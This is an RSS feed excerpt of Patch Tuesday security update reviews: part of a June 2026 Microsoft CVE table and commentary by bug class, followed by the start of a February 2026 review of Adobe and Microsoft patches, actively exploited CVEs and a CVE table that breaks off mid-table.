  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42828"><span>CVE-2026-42828</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42837"><span>CVE-2026-42837</span></a></td>
  <td width="256" class="xl68">Windows Projected File
  System Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42969"><span>CVE-2026-42969</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42971"><span>CVE-2026-42971</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42970"><span>CVE-2026-42970</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42973"><span>CVE-2026-42973</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notification Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42978"><span>CVE-2026-42978</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42977"><span>CVE-2026-42977</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42979"><span>CVE-2026-42979</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42991"><span>CVE-2026-42991</span></a></td>
  <td width="256" class="xl68">Windows Push
  Notifications Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45639"><span>CVE-2026-45639</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42908"><span>CVE-2026-42908</span></a></td>
  <td width="256" class="xl68">Windows Remote Desktop
  Protocol (RDP) Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45593"><span>CVE-2026-45593</span></a></td>
  <td width="256" class="xl68">Windows SDK Elevation
  of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42906"><span>CVE-2026-42906</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42907"><span>CVE-2026-42907</span></a></td>
  <td width="256" class="xl68">Windows Shell
  Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">6.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-47648"><span>CVE-2026-47648</span></a></td>
  <td width="256" class="xl68">Windows Storage
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42915"><span>CVE-2026-42915</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP Denial
  of Service Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">DoS</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42904"><span>CVE-2026-42904</span></a></td>
  <td width="256" class="xl68">Windows TCP/IP
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">9.6</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42968"><span>CVE-2026-42968</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Server Information Disclosure Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">5.5</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">Info</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42912"><span>CVE-2026-42912</span></a></td>
  <td width="256" class="xl68">Windows Telephony
  Service Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45597"><span>CVE-2026-45597</span></a></td>
  <td width="256" class="xl68">Windows UI Automation
  Manager (uiamanager.dll) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">3</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45599"><span>CVE-2026-45599</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-45635"><span>CVE-2026-45635</span></a></td>
  <td width="256" class="xl68">Windows UPnP Device
  Host Remote Code Execution Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">8.1</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">RCE</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40409"><span>CVE-2026-40409</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="69">
  <td class="xl67" height="69"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-40404"><span>CVE-2026-40404</span></a></td>
  <td width="256" class="xl68">Windows Universal Disk
  Format File System Driver (UDFS) Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">2</td>
  <td class="xl70">EoP</td>
 </tr>
 <tr height="47">
  <td class="xl67" height="47"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-42989"><span>CVE-2026-42989</span></a></td>
  <td width="256" class="xl68">Winlogon
  Elevation of Privilege Vulnerability</td>
  <td class="xl69">Important</td>
  <td class="xl70">7.8</td>
  <td class="xl70">No</td>
  <td class="xl70">No</td>
  <td class="xl70">1</td>
  <td class="xl70">EoP</td>
 </tr>
 &lt;![if supportMisalignedColumns]&gt;
 <tr height="0">
  <td width="144"></td>
  <td width="256"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
  <td width="104"></td>
 </tr>
 &lt;![endif]&gt;
</table>











  
  









  <p class=""><em>* Indicates this CVE had been released by a third party and is now being included in Microsoft releases</em>.</p><p class=""><em>† Indicates further administrative actions are required to fully address the vulnerability.</em></p><p class=""><em> </em></p><p class="">Looking at the other Critical-rated bugs in this release, the scariest-looking one is actually nothing to concern yourself with at all. The CVSS 10 bug in Azure HorizonDB has already been addressed by Microsoft and is just being documented now. That’s also the case for five others. Of course, there wouldn’t be a release without Office bugs that have the Preview Pane as an attack vector. There are multiple in June. There’s a handful of bugs in the Remote Desktop Client, but these rely on connecting to a malicious RDP server. There are three patches for Hyper-V that allow for guest-to-host code execution. The bug in Active Directory requires authentication, but any authenticated user can hit it. For the Windows Directory Service vulnerability, it needs to be listening for TFTP. You have blocked that everywhere, right? The bug in Azure Network Adapter is somewhat unique as you need to update your Linux kernel to be protected. The bug in Azure Kubernetes allows an attacker to break out of a container and gain control of the AKS worker node. Finally, the bug in the Kerberos Key Distribution Center (KDC) seems unlikely, but if exploited, it could allow authenticated attackers to get code execution on affected systems.</p><p class="">Moving on to the other code execution bugs, there are the ubiquitous open-an-own bugs in Office components like Excel and Word. The code injection bug in Exchange Server looks troubling, but it requires a machine-in-the-middle (MiTM), so exploitation is unlikely. The bugs in SharePoint require authentication, but you should note that the patch applies to both SharePoint Server 2016 and SharePoint Enterprise Server 2016. The two bugs in UPnP are interesting. Both can lead to code execution by causing an error during the handling of specially crafted data, which could lead to a Use After Free (UAF) bug. The bugs in RDP Client all require connecting to a malicious RDP server, but it’s not clear why some are rated Critical and some are rated Important. The NTFS vulnerability requires a user to mount a virtual hard drive on an affected system. The last RCE bug this month is in Azure Stack Edge and requires the attacker to send a specially crafted file upload request that includes a manipulated file name or path, leading to code execution.</p><p class="">There are more than 60 Elevation of Privilege (EoP) bugs in this month’s release, and as usual, most simply lead to local attackers executing their code at SYSTEM-level privileges or administrative privileges, so there’s not much to add without further technical details about the bugs themselves. A notable exception is in Exchange Server, where a user on Outlook Web Access (OWA) could gain access to other mailboxes. The bug in Visual Studio Code could allow attackers to gain permissions associated with the MCP Server’s managed identity. The bugs in Windows SDK and Windows UI Automation Manager could let attacker go from low integrity up to medium integrity code execution. The bug in Bluetooth just allows “elevated” privileges without really describing what elevated might be. </p><p class="">Moving on to the more than 20 security feature bypass (SFB) bugs in the June release, there are a total of 10 that impact Secure Boot. All carry scope change (S:C) in the CVSS, meaning successful exploitation affects security boundaries beyond the vulnerable component itself — specifically the ability to load untrusted code at boot, bypass Virtual Secure Mode, and undermine boot integrity guarantees. CVE-2026-45654 explicitly calls out VSM exposure. The bulk of these are credited to Alon Leviev (STORM), which is notable given his prior BootKitty/BlackLotus-adjacent research. The bugs in the Windows Boot Manager have a similar impact as the Secure Boot bugs. The UEFI Secure Boot vulnerabilities go a layer deeper. They require either local admin or physical access but could allow for the running of untrusted code even before the OS loads. Rootkits anyone? The four bugs in BitLocker all require physical access but could yield encrypted data if exploited. The bug in Windows Administration Protection allows attackers to bypass the feature that prevents standard-user apps from performing admin-level actions. The bug in Visual Studio Copilot Chat could be the most interesting non-boot bug here as it allows authentication impersonation. Mark of the Web (MotW) and Excel vulns could bypass user warnings. Lastly, the bug in PC Manager bypasses expected user controls. </p><p class="">Turning our attention to the mass of spoofing bugs in the release, we instantly see 18 impacting SharePoint Server. Fortunately, these are simply cross-site scripting (XSS) bugs. It’s the Exchange bugs we should really watch for. One is an XSS that an attacker can exploit by convincing an Exchange administrator to open a malicious link or message, which then runs code in the admin's web session. That's a meaningful privilege escalation path. Another is listed as an SSRF-based attack, but no other details are available. The last is a lower-impact XSS with limited confidentiality/integrity loss. The bug in Bing Search (remember Bing?) is a classic search result spoofing. The bug in Azure Stack Edge is interesting as it could allow access to resources outside the vulnerable component's security boundary. The bug in Office for Android requires user interaction. The Office Project Server bug is an authenticated XSS with low impact. The final spoofing bug is in Azure Attestation but has already been addressed. You should still verify you are protected by following the instructions in the write-up from Microsoft.</p><p class="">There are 30 different information disclosure bugs in this release, and fortunately, the vast majority of these simply result in info leaks consisting of unspecified memory contents or memory addresses. The two bugs in Visual Studio require user interaction and could “disclose information over a network.” How obtuse. The bug in GitHub Copilot and Visual Studio Code could disclose discloses a sign-in access token for a user's work account. That's a meaningful credential exposure, not just random memory. That leaves the two bugs in Exchange Server. One could allow an authenticated user to gain information about which network services that the Exchange server can reach. The other sounds much like the spoofing bug in OWA as it allows attackers to see information in mailboxes they should not have access to.</p><p class="">I’ve never been a fan of the “tampering” category, as it could mean so many different things. For example, the bug in .NET simply says it could allow an unauthorized attacker to perform tampering locally. Similarly, the bug in Visual Studio says the same, expect here the tampering occurs over a network. Microsoft doesn’t even bother with a CWE for the tampering bug in the DHCP Server, so your guess is as good as mine.</p><p class="">There are seven DoS bugs in the June release, and as usual, Microsoft provides little to no actionable information about the vulnerabilities. The most interesting is the bug in HTTP.sys, which is listed as publicly known. This is an uncontrolled resource consumption, rated "Exploitation More Likely," and publicly disclosed. Since, HTTP.sys sits at the core of IIS and Windows web services, a network-accessible DoS here can take down any Windows server running HTTP-based services. Based on the Acknowledgement, it looks like this bug may have been found using AI. There are no real details for the other bugs, but based simply on the impact, I would focus on the Kerberos and TCP/IP bugs if you had to prioritize.</p><p class="">No new advisories are being released this month.</p><p class=""><strong>Looking Ahead</strong></p><p class="">The next Patch Tuesday will be on July 14 and will be the last one before Black Hat/DEFCON. It’s usually a big release, so strap in and hang on. I’ll be back then to give you my full thoughts. Until then, stay safe, happy patching, and may all your reboots be smooth and clean!</p><p class=""> </p>]]></content:encoded>
</item>
<item>
<title><![CDATA[The February 2026 Security Update Review]]></title>
<description><![CDATA[I have survived the biggest Pwn2Own ever, but I’m back in Tokyo for the second Patch Tuesday of 2026. My location never stops Patch Tuesday from coming, so let’s take a look at the latest security patches from Adobe and Microsoft.  If you’d rather watch the full video recap covering the entire re...]]></description>
<link>https://tsecurity.de/de/3694474/it-security-nachrichten/the-february-2026-security-update-review/</link>
<guid isPermaLink="true">https://tsecurity.de/de/3694474/it-security-nachrichten/the-february-2026-security-update-review/</guid>
<pubDate>Sat, 25 Jul 2026 19:00:44 +0200</pubDate>
<category>📰 IT Security Nachrichten</category>
<source url="https://tsecurity.de">tsecurity.de</source>
<content:encoded><![CDATA[<p class="">I have survived the biggest Pwn2Own ever, but I’m back in Tokyo for the second Patch Tuesday of 2026. My location never stops Patch Tuesday from coming, so let’s take a look at the latest security patches from Adobe and Microsoft.  If you’d rather watch the full video recap covering the entire release, you can check it out here:</p>





















  
  




  
















  
    
      
    
    
      
        
      
    
    
    



  






  <p class=""><strong>Adobe Patches for February 2026</strong></p><p class="">For February, Adobe released nine bulletins addressing 44 unique CVEs in Adobe Audition, After Effects, InDesign, Substance 3D Designer, Substance 3D Stager, Adobe Bridge, Substance 3D Modeler, Lightroom Classic, and the Adobe DNG Software Development Kit (SDK). The largest update here is for <a href="https://helpx.adobe.com/security/products/after_effects/apsb26-15.html">After Effects</a>, which fixes 13 Critical and two Important rated bugs. The patch for <a href="https://helpx.adobe.com/security/products/substance3d_designer/apsb26-19.html">Substance 3D Designer</a> is on the larger side with seven fixes, but only two of those are Critical. On the other hand, the fix for <a href="https://helpx.adobe.com/security/products/substance3d_stager/apsb26-20.html">Substance 3D Stager</a> corrects five Critical-rated bugs that could lead to code execution. The <a href="https://helpx.adobe.com/security/products/audition/apsb26-14.html">Audition</a> patch fixes six bugs, but only one is Critical.</p><p class="">The other patches are smaller in size. The fix for the <a href="https://helpx.adobe.com/security/products/dng-sdk/apsb26-23.html">Adobe DNG Software Development Kit (SDK)</a> corrects two Critical and two Important-rated bugs. The <a href="https://helpx.adobe.com/security/products/indesign/apsb26-17.html">InDesign</a> patch fixes three bugs, but only one is Critical. The update for <a href="https://helpx.adobe.com/security/products/bridge/apsb26-21.html">Adobe Bridge</a> fixes two Critical bug that could lead to code execution. The patch for <a href="https://helpx.adobe.com/security/products/lightroom/apsb26-06.html">Lightroom Classic</a> addresses a single Critical bug, and the release is wrapped up with a patch for <a href="https://helpx.adobe.com/security/products/substance3d-modeler/apsb26-22.html">Substance 3D Modeler</a> that fixes a single, Important-rated memory link.</p><p class="">None of the bugs fixed by Adobe this month are listed as publicly known or under active attack at the time of release, and all of the updates released by Adobe this month are listed as deployment priority 3.</p><p class=""><strong>Microsoft Patches for February 2026</strong></p><p class="">This month, Microsoft drops 58 new CVEs in Windows and Windows components, Office and Office Components, Azure, Microsoft Edge (Chromium-based), .NET and Visual Studio, GitHub Copilot, Mailslot FS, Exchange Server, Internet Explorer (!), Power BI, Hyper-V Server, and the Windows Subsystem for Linux. Counting the third-party and Chromium updates listed in the release, it brings the total number of CVEs to 62. One of the bugs in the Windows Graphics component was submitted through the ZDI program. Five of these bugs are rated Critical, two are rated Moderate, and the rest are rated Important in severity.</p><p class="">It’s typical to see this number of CVEs released in February, but the number of bugs under active attack is extraordinarily high. Microsoft lists six bugs being exploited at the time of release, with three of these listed as publicly known. Last month only had a single bug being exploited, although there were twice as many CVEs patched. We’ll see if we’re on our way to another “hot exploit summer” as we saw a few years ago or if this is just an aberration. </p><p class="">Let’s take a closer look at some of the more interesting updates for this month, starting with the bugs under active attack: </p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21510"><strong>CVE-2026-21510</strong></a><strong> - Windows Shell Security Feature Bypass Vulnerability<br></strong>This bug is listed as a security feature bypass, but it could also be classified as code execution. An attacker can bypass Windows SmartScreen and Windows Shell security prompts to execute code on a target system. This bug is also listed as publicly known, but Microsoft doesn’t say where. There is user interaction here, as the client needs to click a link or a shortcut file. Still, a one-click bug to gain code execution is a rarity. Definitely test and deploy this fix quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21514"><strong>CVE-2026-21514</strong></a><strong> - Microsoft Word Security Feature Bypass Vulnerability<br></strong>This bug also requires user interaction in the form of opening a Word document, but that’s all that’s required to bypass protections to dangerous COM/OLE controls. Thankfully, the Preview Pane is <em>not</em> an attack vector here. However, users are well known to open lots of documents they receive in e-mail. This bypass could also result in code execution if the right COM/OLE control is hit. This is also listed as publicly known, so add this to the list to test and deploy quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21519"><strong>CVE-2026-21519</strong></a><strong> - Desktop Window Manager Elevation of Privilege Vulnerability<br></strong>This is the second month in a row that a DWM was listed as being exploited in the wild. That leads me to believe the first patch didn’t completely resolve the vulnerability. Same as last month, this bug allows attackers to run code with SYSTEM privileges. Bugs of this type are typically paired with a code execution bug to take over a system. As always, Microsoft offers no indication of how widespread these exploits may be.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21533"><strong>CVE-2026-21533</strong></a><strong> - Windows Remote Desktop Services Elevation of Privilege Vulnerability<br></strong>Don’t let the word “Remote” in the title fool you – this is a local bug that allows attackers to run code with SYSTEM privileges. It’s interesting that Microsoft lists “Improper privilege management” as the root cause for this issue. If the system is running Remote Desktop Services, it’s probably a juicy target for attackers to move laterally after an initial breach. Add this one to the list of patches to test and deploy immediately.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21513"><strong>CVE-2026-21513</strong></a><strong> - Internet Explorer Security Feature Bypass Vulnerability<br></strong>Although long gone by many measurements, IE does still exist on Windows systems, and calling it always results in a vulnerability somehow. This bug manifests similarly to the Shell bug above, as it requires user interaction but could result in code execution. The bypass here is simply the ability to reach IE, which shouldn’t be possible. Again, test and deploy this fix quickly.</p><p class="">-    <a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21525"><strong>CVE-2026-21525</strong></a><strong> - Windows Remote Access Connection Manager Denial of Service Vulnerability<br></strong>It’s unusual to see DoS bugs being used in active attacks, but that’s what we have here. A null pointer deref in the Windows Remote Access Connection Manager allows an unauthorized attacker to deny service locally. Most null pointer derefs cause the application or service to crash, but it’s not clear if it will automatically restart. I would exercise caution and patch quickly either way.</p><p class="">Here’s the full list of CVEs released by Microsoft for February 2026:</p>





















  
  




  


  
    





<link rel="File-List" href="2026_PatchTable-Feb.fld/filelist.xml">













<table border="0" cellpadding="0" cellspacing="0" width="953">
 <col width="151" class="xl69">
 <col width="263" class="xl72">
 <col width="111" class="xl71" span="4">
 <col width="95" class="xl71">
 <tr height="48">
  <td width="151" class="xl69" height="48"><span> </span>CVE<span> </span></td>
  <td width="263" class="xl72"><span> </span>Title<span> </span></td>
  <td width="111" class="xl71"><span> </span>Severity<span> </span></td>
  <td width="111" class="xl71"><span> </span>CVSS<span> </span></td>
  <td width="111" class="xl71"><span> </span>Public</td>
  <td width="111" class="xl71"><span> </span>Exploited<span> </span></td>
  <td width="95" class="xl71"><span> </span>TYPE<span> </span></td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21514"><span><span> </span>CVE-2026-21514<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Word Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21510"><span><span> </span>CVE-2026-21510<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Shell Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21513"><span><span> </span>CVE-2026-21513<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Internet Explorer Security Feature Bypass
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">8.8</td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">SFB</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21519"><span><span> </span>CVE-2026-21519<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Desktop Window Manager Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="72">
  <td class="xl74" height="72"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21533"><span><span> </span>CVE-2026-21533<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Remote Desktop Services Elevation of
  Privilege Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="73">
  <td class="xl74" height="73"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21525"><span><span> </span>CVE-2026-21525<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Windows Remote Access Connection Manager
  Denial of Service Vulnerability<span> </span></td>
  <td class="xl68"><span> </span>Moderate<span> </span></td>
  <td class="xl65">6.2</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl66"><span> </span>Yes<span> </span></td>
  <td class="xl65">DoS</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-21511"><span><span> </span>CVE-2026-21511<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Microsoft Outlook Spoofing
  Vulnerability<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">7.5</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">Spoofing</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2023-2804"><span><span> </span>CVE-2023-2804 *</span></a></td>
  <td width="263" class="xl75"><span> </span>Red Hat, Inc. CVE-2023-2804: Heap Based
  Overflow libjpeg-turbo<span> </span></td>
  <td class="xl70"><span> </span>Important<span> </span></td>
  <td class="xl65">6.5</td>
  <td class="xl65"><span> </span>Yes<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">RCE</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24302"><span><span> </span>CVE-2026-24302<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Arc Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">8.6</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
  <td class="xl74" height="48"><a href="https://msrc.microsoft.com/update-guide/vulnerability/CVE-2026-24300"><span><span> </span>CVE-2026-24300<span> </span></span></a></td>
  <td width="263" class="xl75"><span> </span>Azure Front Door Elevation of Privilege
  Vulnerability<span> </span></td>
  <td class="xl73"><span> </span>Critical<span> </span></td>
  <td class="xl65">9.8</td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65"><span> </span>No<span> </span></td>
  <td class="xl65">EoP</td>
 </tr>
 <tr height="48">
